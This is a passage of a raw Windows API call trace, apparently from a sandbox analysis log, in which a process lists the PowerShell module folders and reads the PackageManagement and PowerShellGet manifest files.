0xffffffff [0170.256] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0170.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eab4) returned 1 [0170.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0170.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0170.260] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x599e864 | out: lpFindFileData=0x599e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e868 [0170.260] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.261] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0170.261] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0170.261] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.261] FindClose (in: hFindFile=0x37e868 | out: hFindFile=0x37e868) returned 1 [0170.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e824) returned 1 [0170.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea84) returned 1 [0170.262] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0170.262] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0170.262] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0170.262] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0170.263] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0170.263] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0170.263] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0170.263] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0170.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0170.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0170.264] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0170.265] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0170.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e804) returned 1 [0170.265] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x599eac8 | out: lpFileInformation=0x599eac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e800) returned 1 [0170.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eab4) returned 1 [0170.265] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0170.266] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0170.266] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x599e864 | out: lpFindFileData=0x599e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e868 [0170.267] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.267] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.267] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.267] FindClose (in: hFindFile=0x37e868 | out: hFindFile=0x37e868) returned 1 [0170.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e824) returned 1 [0170.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea84) returned 1 [0170.268] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.268] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e808) returned 1 [0170.268] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599eacc | out: lpFileInformation=0x599eacc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0170.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e804) returned 1 [0170.352] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e82c) returned 1 [0170.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25b5ca0 | out: lpFileInformation=0x25b5ca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0170.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e828) returned 1 [0170.380] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0170.380] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0170.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e994) returned 1 [0170.380] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e0 [0170.380] GetFileType (hFile=0x3e0) returned 0x1 [0170.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e990) returned 1 [0170.381] GetFileType (hFile=0x3e0) returned 0x1 [0170.381] GetACP () returned 0x4e4 [0170.471] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x0 [0170.471] ReadFile (in: hFile=0x3e0, lpBuffer=0x25b6f78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e9fc, lpOverlapped=0x0 | out: lpBuffer=0x25b6f78*, lpNumberOfBytesRead=0x599e9fc*=0x8f9, lpOverlapped=0x0) returned 1 [0170.472] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x8f9 [0170.472] ReadFile (in: hFile=0x3e0, lpBuffer=0x25b6411, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x599e9fc, lpOverlapped=0x0 | out: lpBuffer=0x25b6411*, lpNumberOfBytesRead=0x599e9fc*=0x0, lpOverlapped=0x0) returned 1 [0170.473] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x8f9 [0170.473] ReadFile (in: hFile=0x3e0, lpBuffer=0x25b6f78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e9fc, lpOverlapped=0x0 | out: lpBuffer=0x25b6f78*, lpNumberOfBytesRead=0x599e9fc*=0x0, lpOverlapped=0x0) returned 1 [0170.473] CloseHandle (hObject=0x3e0) returned 1 [0170.581] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0170.581] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0170.581] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0170.582] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0170.582] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0170.582] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0170.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eab4) returned 1 [0170.582] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0170.582] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0170.583] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x599e864 | out: lpFindFileData=0x599e864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e868 [0170.583] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.583] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.584] FindNextFileW (in: hFindFile=0x37e868, lpFindFileData=0x599e86c | out: lpFindFileData=0x599e86c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.584] FindClose (in: hFindFile=0x37e868 | out: hFindFile=0x37e868) returned 1 [0170.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e824) returned 1 [0170.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea84) returned 1 [0170.584] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.584] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e808) returned 1 [0170.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x599eacc | out: lpFileInformation=0x599eacc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e804) returned 1 [0170.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.649] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e82c) returned 1 [0170.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25c5e8c | out: lpFileInformation=0x25c5e8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e828) returned 1 [0170.651] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0170.651] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0170.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e994) returned 1 [0170.651] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x404 [0170.651] GetFileType (hFile=0x404) returned 0x1 [0170.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e990) returned 1 [0170.652] GetFileType (hFile=0x404) returned 0x1 [0170.652] SetFilePointer (in: hFile=0x404, lDistanceToMove=0, lpDistanceToMoveHigh=0x599e9d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599e9d0*=0) returned 0x0 [0170.652] ReadFile (in: hFile=0x404, lpBuffer=0x25c6c64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599e9fc, 